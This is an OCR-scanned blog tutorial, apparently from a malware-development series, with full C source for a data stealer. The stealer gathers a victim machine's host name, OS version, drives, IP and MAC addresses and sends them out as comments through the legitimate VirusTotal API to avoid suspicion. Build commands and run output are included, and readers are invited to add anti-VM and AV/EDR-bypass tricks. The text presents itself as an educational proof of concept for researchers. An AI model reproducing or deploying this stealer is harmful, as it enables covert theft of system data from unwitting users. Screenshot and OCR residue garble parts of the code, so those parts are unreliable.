Malware development trick 41: Stealing data via legit
VirusTotal APIL. Simple C example.

@ cocomelonc.github.io/malware/2024/06/25/malware-trick-41.html

June 25, 2024

6 minute read

Hello, cybersecurity enthusiasts and white hackers!

meow hack.c X

2024-06-25-malware-trick-41 > hack.c

int sendToVT( char* comment) {

HINTERNET hSession NULL;
HINTERNET hConnect NULL ;

hSession = WinHttpOpen(L"UserAgent
WINHTTP_NO PROXY BYPASS, 0);
(hSession NULL) - {
fprintf(stderr, "WinHttpOpen. Er
15

!
5

hConnect = WinHttpConnect(hSession
(hConnect NULL) - {
fprintf(stderr, "WinHttpConnect.
WinHttpCloseHandle (hSession);

1
5

HINTERNET hRequest = WinHttpOpenRe
WINHTTP _NO REFERER, WINHTTP DEFAUL
(hRequest NULL) - {

dd19b3ef48aaedfid3fa

win11-en-us (persistence) [Running] - Oracle UM VirtualBox
File Machine View Input Devices Help
=
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements!
PSWindows

PS C:\Users\zhzhu> cd Z:\2024-06-25-malware-trick-41\
PS Z:\2024-06-25-malware-trick-41> .\hack.exe

comment posted successfully.

successfully send info via VT API :

ok =Al lf\=
PS Z:\2024-06-25-malware-trick-41>

fprintf(stderr, "WinHttpOpenRequ
WinHttpCloseHandle (hConnect) ;
WinHttpCloseHandle (hSession) ;

1
)

Like in the previous malware development trick example, this post is just for showing Proof of

Concept.

In the practice example with Telegram API, the attacker has one weak point: if the victim’s
computer does not have a Telegram client or let’s say that messengers are generally
prohibited in the victim’s organization, then you must agree that interaction with Telegram
servers may raise suspicion (whether through a bot or not).

Some time ago, | found a some interesting ideas of using VirusTotal API for stealing and C2-

control logic. So, let’s implement it again by me.

pracical example
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https://cocomelonc.github.io/malware/2024/06/25/malware-trick-41.html
https://cocomelonc.github.io/malware/2024/06/16/malware-trick-40.html

The main logic for stealing system information is the same as in the previous article. The
only difference is using the VirusTotal API v3. For example, according to the documentation,
we can add comments to a file:

iR vTe

V3.0 v (@ Home [0 Guides <> APIReference

API responses

Legend

J— Add a comment to a file
https://www.yirustotal.com/api/v3/files/{id}/comments

10C REPUTATION & ENRICHMENT

IP addresses With this endpoint you can post a comment for a given file. The body for the posT request must be the JSt
Domains & Resolutions however that you don't need to provide an ID for the object, as they are automatically generated for new
Files

Any word starting with # in your comment's text will be considered a tag, and added to the comment's tag :
Upload a file
Returns a Comment object.

ol

Get a URL for uploading large files

Get a file report

ol

Example request

Request a file rescan (re-analyze)
Get afile's download URL {
"data": {
Download a file [ "type": "comment",
"attributes": {

Get comments on a file E ) ,

"text": "Lorem #ipsum dolor sit ...
Add a comment to a file 1

1
1

Get objects related to a file

o

] 3 B ] d B B ] 3 B

Get object descriptors related to a
file

[2]
L)

As you can see, we need SHA-256, SHA-1 or MD5 string identifying the target file.

For this reasson just create simple file with the following logic - meow. c:

*

* hack.c

* "malware" for testing VirusTotal API

* author: @cocomelonc

* https://cocomelonc.github.io/malware/2024/06/25/malware-trick-41.html

*/

#include <windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int
nCmdShow) {

MessageBox(NULL, "Meow-meow!", "=A,.A=" MB_O0OK);
return 0;

As usual, this is just meow-meow messagebox “malware”.
Compile it:
x86_64-w64-mingw32-g++ meow.Cc -0 meow.exe -I/usr/share/mingw-w64/include/ -s -

ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive
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https://docs.virustotal.com/reference/files-comments-post

$ x86_64-wb4-mingw32-g++ meow.c -o meow.exe -I/usr/share
/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-w
rite-strings -fno-exceptions -fmerge-all-constants -static-libstd
«c++ -static-libgcc -fpermissive
( .

| $ 1s -1t

total 28

-rwXxrwxr-x 1 cocomelonc cocomelonc 15360 Jun 25 14:09
—rw-rw-r-- 1 cocomelonc cocomelonc 4610 Jun 25 14:07 hack.c
-rw-rw-r-- 1 cocomelonc cocomelonc 333 Jun 25 06:59 meow.c

1

And upload it to VirusTotal:

15.00 KB

DETECTION DETAILS RELATIONS BEHAVIOR 7) COMMUNITY

Basic properties ©

PEBIN

History O

on Time

https://www.virustotal.com/qgui/file/379698a4f06f18cb3ad388145cf62f47a8da22852a08dd19b
3ef48aaedffd3fa/details

At the next step we will create simple logic for posting comment to this file:
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https://www.virustotal.com/gui/file/379698a4f06f18cb3ad388145cf62f47a8da22852a08dd19b3ef48aaedffd3fa/details

#define VT_API_KEY "VIRUS_TOTAL_API_KEY"
#define FILE_ID "379698a4f06f18ch3ad388145cf62f47a8da22852a08dd19b3ef48aaedffd3fa"

// send data to VirusTotal using winhttp
int sendToVT(const char* comment) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;

hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
return 1,

hConnect = WinHttpConnect(hSession, L"www.virustotal.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);

}

HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L'"/api/v3/files/"
FILE_ID "/comments", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);

if (hRequest == NULL) {

fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);

}

// construct the request body

char json_body[1024];

snprintf(json_body, sizeof(json_body), "{\"data\": {\"type\": \"comment\",
\"attributes\": {\"text\": \"%s\"}}}", comment);

// set the headers
if (!'wWinHttpSendRequest(hRequest, L"x-apikey: " VT_API_KEY "\r\nUser-Agent: vt
v.1.0\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/json", -1,
(LPVOID)json_body, strlen(json_body), strlen(json_body), 0)) {
fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1,

BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);
if (!hResponse) {
fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n",
GetLastError());

}
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DWORD code = 0;
DWORD codeS = sizeof(code);
if (wWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE |
WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &codesS,
WINHTTP_NO_HEADER_INDEX)) {
if (code == 200) {
printf("comment posted successfully.\n");
} else {
printf("failed to post comment. HTTP Status Code: %d\n'", code);
}
} else {
DWORD error = GetLastError();
LPSTR buffer = NULL;
FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL, error, O, (LPSTR)&buffer, O, NULL);
printf("WTF? unknown error: %s\n", buffer);
LocalFree(buffer);

WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);
printf("successfully send info via VT API :)\n");

return 0,

As you can see, this is just post request, in my case file ID =
379698a4f06118ch3ad388145cf62f47a8da22852a08dd19b3ef48aaedffd3fa.

So the full source code is looks like this:
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/*
* hack.c
* sending systeminfo via legit URL. VirusTotal API
* author @cocomelonc
* https://cocomelonc.github.io/malware/2024/06/25/malware-trick-41.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winhttp.h>
#include <iphlpapi.h>

#define VT_API_KEY "7e7778f8c29bc4b171512caa6cc81af63ed96832F53e7e35Fh706dd320ab8c42"
#define FILE_ID "379698a4f06f18ch3ad388145cf62f47a8da22852a08dd19b3ef48aaedffd3fa"

// send data to VirusTotal using winhttp
int sendToVT(const char* comment) {
HINTERNET hSession = NULL;
HINTERNET hConnect = NULL;

hSession = WinHttpOpen(L"UserAgent", WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
if (hSession == NULL) {
fprintf(stderr, "WinHttpOpen. Error: %d has occurred.\n", GetLastError());
return 1;

hConnect = WinHttpConnect(hSession, L"www.virustotal.com",
INTERNET_DEFAULT_HTTPS_PORT, 0);
if (hConnect == NULL) {
fprintf(stderr, "WinHttpConnect. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hSession);

}

HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", L'"/api/v3/files/"
FILE_ID "/comments", NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
WINHTTP_FLAG_SECURE);

if (hRequest == NULL) {

fprintf(stderr, "WinHttpOpenRequest. error: %d has occurred.\n", GetLastError());
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);

}

// construct the request body

char json_body[1024];

snprintf(json_body, sizeof(json_body), "{\"data\": {\"type\": \"comment\",
\"attributes\": {\"text\": \"%s\"}}}", comment);

// set the headers
if (!'winHttpSendRequest(hRequest, L"x-apikey: " VT_API_KEY "\r\nUser-Agent: vt
v.1.0\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/json", -1,
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(LPVOID)json_body, strlen(json_body), strlen(json_body), 0)) {

fprintf(stderr, "WinHttpSendRequest. Error %d has occurred.\n", GetLastError());

WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hSession);
return 1,

BOOL hResponse = WinHttpReceiveResponse(hRequest, NULL);

if (!hResponse) {

fprintf(stderr, "WinHttpReceiveResponse. Error %d has occurred.\n",

GetLastError());
}

DWORD code = 0;
DWORD codeS = sizeof(code);

if (wWinHttpQueryHeaders(hRequest, WINHTTP_QUERY_STATUS_CODE |
WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &code, &codeS,

WINHTTP_NO_HEADER_INDEX)) {
if (code == 200) {
printf("comment posted successfully.\n");
} else {

printf("failed to post comment. HTTP Status Code: %d\n'", code);

}

} else {
DWORD error = GetLastError();
LPSTR buffer = NULL;

FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER |

FORMAT_MESSAGE_IGNORE_INSERTS,

FORMAT_MESSAGE_FROM_SYSTEM |

NULL, error, O, (LPSTR)&buffer, O, NULL);

printf("WTF? unknown error: %s\n", buffer);
LocalFree(buffer);

WinHttpCloseHandle(hConnect);
WinHttpCloseHandle(hRequest);
WinHttpCloseHandle(hSession);

printf("successfully send info via VT API :)\n");

return 0,

// get systeminfo and send as comment via VT API logic

int main(int argc, char* argv[]) {

// test posting comment
// const char* comment = "meow-meow";
// sendToVT(comment);

char systemInfo[4096];

// Get host name
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CHAR hostName[MAX_COMPUTERNAME_LENGTH + 1];
DWORD size = sizeof(hostName) / sizeof(hostName[0]);
GetComputerNameA(hostName, &size); // Use GetComputerNameA for CHAR

// Get 0S version

OSVERSIONINFO osVersion;

osVersion.dwOSVersionInfoSize = sizeof (OSVERSIONINFO);
GetVersionEx(&osVersion);

// Get system information
SYSTEM_INFO sysInfo;
GetSystemInfo(&sysInfo);

// Get logical drive information
DWORD drives = GetLogicalDrives();

// Get IP address

IP_ADAPTER_INFO adapterInfo[16]; // Assuming there are no more than 16 adapters

DWORD adapterInfoSize = sizeof(adapterInfo);

if (GetAdaptersInfo(adapterInfo, &adapterInfoSize) != ERROR_SUCCESS) {
printf("GetAdaptersInfo failed. error: %d has occurred.\n", GetLastError());
return false;

snprintf(systemInfo, sizeof(systemInfo),
"Host Name: %s, "
"0S Version: %d.%d.%d, "
"Processor Architecture: %d,
"Number of Processors: %d, "
"Logical Drives: %X, ",
hostName,
osVersion.dwMajorVersion, osVersion.dwMinorVersion, osVersion.dwBuildNumber,
sysInfo.wProcessorArchitecture,
sysInfo.dwNumberOfProcessors,
drives);

// Add IP address information
for (PIP_ADAPTER_INFO adapter = adapterInfo; adapter != NULL; adapter = adapter-
>Next) {
snprintf(systemInfo + strlen(systemInfo), sizeof(systemInfo) -
strlen(systemInfo),
"Adapter Name: %s, "
"IP Address: %s, "
"Subnet Mask: %s, "
"MAC Address: %02X-%02X-%02X-%02X-%02X-%02X",
adapter->AdapterName,
adapter->IpAddressList.IpAddress.String,
adapter->IpAddressList.IpMask.String,
adapter->Address[0], adapter->Address[1], adapter->Address[2],
adapter->Address[3], adapter->Address[4], adapter->Address[5]);
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int result = sendToVT(systemInfo);

if (result == 0) {
printf("ok =A..A=\n");
} else {
printf("nok <3()~\n");
}

return 0;

}

This is also not such a complex stealer, because it is just a “dirty PoC” and in real attacks,
attackers use stealers with more complex logic.

Also, as you can see, we haven'’t used tricks here like anti-VM, anti-debugging, AV/EDR

bypass, etc. So you can add them based on my code if you need.

demo

Let’s check everything in action.

Compile our “stealer” hack.c:

x86_64-w64-mingw32-g++ -02 hack.c -0 hack.exe -I/usr/share/mingw-w64/include/ -s -
ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-
constants -static-libstdc++ -static-libgcc -fpermissive -liphlpapi -lwinhttp

$ x86_64-wb64-mingw32-g++ hack.c -o hack.exe -I/usr/share
mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-wje
ite-strings -fno-exceptions -fmerge-all-constants -static-libstdje
++ -static-libgcc -fpermissive -lwinhttp -liphlpapi

$ 1s -1t
otal 72
rWXTWXT - X cocomelonc
rw-rw-r-- cocomelonc
rWXTWXT - X cocomelonc
rw-rw-r-- cocomelonc

$

And run it on my Windows 11 VM:

.\hack.exe

cocomelonc
cocomelonc
cocomelonc
cocomelonc

43520 Jun
4592 Jun
15360 Jun

333 Jun

25 14:10
25 14:10 hack.c
25 14:09
25 06:59 meow.c
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ile Machine Help

U e

7] winl0-MA (frida-te:
rjh‘ Saved

calf

adapnter->Next) [

win11-en-us (persistence) [Running] - Oracle VM VirtualBox
File Machine View Input Devices Help
X Windows PowerShell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/
PSWindows

PS C:\Users\zhzhu> cd Z:\2024-06-25-malware-trick-41\
PS Z:\2024-06-25-malware-trick-41> .\hack.exe
successfully send info via VT API :)

PS Z:\2024-06-25-malware-trick-41>

o) &

—\ parrot (work)
o (2 saved

xubuntu20.04 (sta
Saved

xubuntu2404
@ powered Off

6:14 AM

A T ) Tuesday by
6/25/2024 =

B0 @ ¢ 03\ 8 @ @ right ctr

usD T R

}

) cocomelonc
WinHttpCloseHandle(hConnect) ;
WinHttpCloseHandle (hRequest);

WinHttpCloseHandle (hSession);

OB =

printf("successfully send info via'
a;

int-main(int argc, char® argv[l) {

DETECTION DETAILS

Comments (1) ©

char* comment
sendToVT (comment) ;

"meow-meow" ;

char systemInfo[4096];

Write Preview

CHAR hostName [MAX COMPUTERNAME LENG

DWORD size (hostName)
GetComputerNameA(hostName, &size);

OSVERSIONINFO osVersion;
ns\fer<sinn dwNSVersinnTnfnSize

®oA0

f06f18ch3ad388145cf62f47al

VirusTotal - API Key - « Add a comment to
virustotal.com

Baaedffdafa

file as malicious

= Similar

C' Reanalyze More

e | 8,
43 minutes ago

15.00 KB EXE

win11-en-us (persistence) [Running] - Oracte VM VirtualBox
File Machine View Input Devices Help
¥ Windows PowerShell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improveme
PSWindows

PS C:\Users\zhzhu> cd Z:\2024-86-25-malware-trick-41\
PS Z:\2024-06-25-malware-trick-41> .\hack.exe

comment posted successfully.

successfully send info via VT API :)

failed to post comment. HTTP Status Code: 400
successfully send info via VT API :)

Ok =A. .f\=

PS Z:\2024-06-25-malware-trick-41> _

As you can see, a test comment meow-meow was created but the comment with system
information did not appear because initially the code was separated by a \n symbol and not
a comma, but | corrected everything and everything worked:
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meoy hack.c X

2024- -malware-trick-41 > hack.c

comment) - {
NULL;
NULL;

int sendToVT( char
HINTERNET hSession
HINTERNET hConnect

hSession = WinHttpOpen(L"UserAgent

WINHTTP_NO PROXY BYPASS, 0
NULL) - {
"WinHttpOpen. Er

(hSession
fprintf(stderr,
1;

cocomelone

£ 6hoursago

hConnect = WinHttpConnect(hSession
(hConnect NULL) - {
fprintf(stderr, "WinHttpConnect.
WinHttpCloseHandle (hSession) ;

HINTERNET hRequest = WinHttpOpenRe
WINHTTP_NO REFERER, WINHTTP DEFAUL
(hRequest NULL) - {
fprintf(stderr, "WinHttpOpenRequ
WinHttpCloseHandle (hConnect);
WinHttpCloseHandle (hSession);

So, our logic worked perfectly!

If we run it on my Windows 10 VM:

.\hack.exe

Add a comm

al.com

ecurity vendors and no file as malicious More

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY

BRee=TS

m

ster Name:

wint1-en-us (persistence) [Running] - Oracle VM VirtualBox

Machine View Input Devices Help

Windows Powershell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements!
PSWindows

PS C:\Users\zhzhu> cd Z:\2024-06-25-malware-trick-41\
PS Z:\2024-06-25-malware-trick-41> .\hack.exe

comment posted successfully.
successfully send info via VT API
ok =*..”=

PS 7:\2024-06-25-malware-trick-41>

Meow-meow!

=

tor.com/whois/virustotal.com

»r.com/whois/virustotal.com

Win0-MA (frida-test) [Running] - Oracle VM VirtualBox

Comments (3)

Source Destination Protocol  Length Info

85.221.132.203
192.168.1.124
88.221.132.203
85.221.132.203
192.168.1.124
192.168.1.124
192.168.1.124
192.168.1.124
192.165.1.124
85.221.132.203
192.168.1.124

cocomelonc 2 6.009339
3 0.050420
4 0.060420
5 6.060449
6 8.103352
7 0.103424
8 0.212672
9 0.212702

10 0.239397

11 0.399908

192.168.1.124 TP
23.202.117.24 Tcp
192.168.1.124 Tcp
192.168.1.124 Tcp
85.221.132.203
192.168.1.1

192.168.1.1

20.223.35.26
20.223.35.26
192.168.1.124
88.221.132.203

1454 50 > 64892 [ACK] Seq=1 Ac
54 64527 > 443 [ACK] Seq=1 A

Try the new cross-platform PowerShell https://aka.ms/pscore6

Frame 1: 1454 bytes on wire (11632 bits), 1454 byl
Ethernet IT, Src: Teee802_28:50:2a (00:01:43:28:8
Internet Protocol Version 4, Src: 85.221.132.203,
Transmission Control Protocol, Src Port: 80, Dst

cocomelonc
5 1dayago

PS C:\Users\user> cd Z:\2624-06-25-malware-trick-41\
oL 15 4d b 00 00 L \20624-06-25-malware-trick-41>
PRIpPNPIPNPS 7:\2024-06-25-malware-trick-41> .\hack.exe
poleq el comment posted sucﬁ:essfu}ly.
LR Y successfully send info via VT API :)
61 65 e 74 61 74 NVANUNINN
35 36 61 64 33 36 =c
B PS 7:\2024-06-25-malware-trick-41>
3732 63 33 31 35
2e 6d 61 6e 69 56

f you have a legitimate interest in vi
our request and the reasons for your 1
nd specify the domain name in the sub] A
ay ask for supporting documentation ar

645 PED
fortCUt N SortCut:

Packets: 52798 - Displayed

-3 B @A 75°F Partly cloudy 5w OE

And monitoring traffic via Wireshark we got an IP address 74.125.34 . 46:

whois 74.125.34.46
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dal'l ]
The Google Team i i ing)- Oracle VM Vi - ®
https://rdap.arin . I

(7} B
RecyclaBin\ x32dbg| Wireshark,

ZG39-ARIN

Google LLC

+1-650-253-0000

arin-contactggoogle

https://rdap.arin.n

ration. All rights reserved.
Abuse
+1-650-253-0000 :
network—abuseagoog' : - Q06 - 25-malware-trick-41\

. k-41>
https://rdap.arin.i » : ; - M-11> . \hack.exe

werShell https://aka.ms/pscoreé

ARIN WHOIS data and services are é
available at: https://www.arin.n¢é

<
If you see inaccuracies in the r¢ ik

https://www.arin.net/resources/rdesees P

Copyright 1997-2024, American Re{”

° ) > x 1AM
FEll O Type here to search i it %) 75°F Partlycloudy A & B 51 E 4)

oaorzes T
Right Ctrl

<« & & virustotal.com

2 Q741253446

(1) 10+ detected files communicating with this IP address

74.125.34.46 (74.125.0.0/18)
AS515169 (GOOGLE )

DETECTION DETAILS RELATIONS COMMUNITY

Basic Properties ©

Network 74.125.0.0/18
Autonomous System Number 15169
Autonomous System Label GOOGLE
Regional Internet Registry ARIN
Country us
Continent NA

Last HTTPS Certificate ©

JARM Fingerprint
29d3fd00029d29d21c42d43d00041d188e8965256b2536432a9bd44T7ae607F

Last HTTPS Certificate

Data:
Version: V3
Serial Mumber: dcc5639f84f776ec58950b2e5150588
Thumbprint: 66a6e5f842d95f752edlbl5c7161c8T22c6744ab
Signature Algorithm:
Issuer: C=US , 0=DigiCert Inc , CN=DigiCert Global G2 TLS RSA SHA256 2020 CAl
Validity
Mot Before: 2023-12-19 ©0:00:00
Mot After: 2025-81-18 23:59:59
Subject: C=ES , L=Malaga , O=VirusTotal SL , CN=%*.virustotal.com
Subject Public Key Info:
Public Key Algorithm : RSA
Public-Key: (2048 bit)
Modulus:
bc:37:47:93:67:02:f2:e8:c7:34:04:de:ee:45:aa:




As you can see, everything is worked perfectly and this is one of the virustotal servers =*..A=!
As far as | remember, | saw an excellent implementation of this trick by Saad Ahla

| hope this post with practical example is useful for malware researchers, red teamers,
spreads awareness to the blue teamers of this interesting technique.

VirusTotal documentation

Test file VirusTotal result: comments
WebSec Malware Scanner
Using_Telegram APl example
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine
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https://x.com/d1rkmtr
https://docs.virustotal.com/
https://www.virustotal.com/gui/file/379698a4f06f18cb3ad388145cf62f47a8da22852a08dd19b3ef48aaedffd3fa/community
https://websec.nl/en/scanner
https://cocomelonc.github.io/malware/2024/06/16/malware-trick-40.html
https://github.com/cocomelonc/meow/tree/master/2024-06-25-malware-trick-41

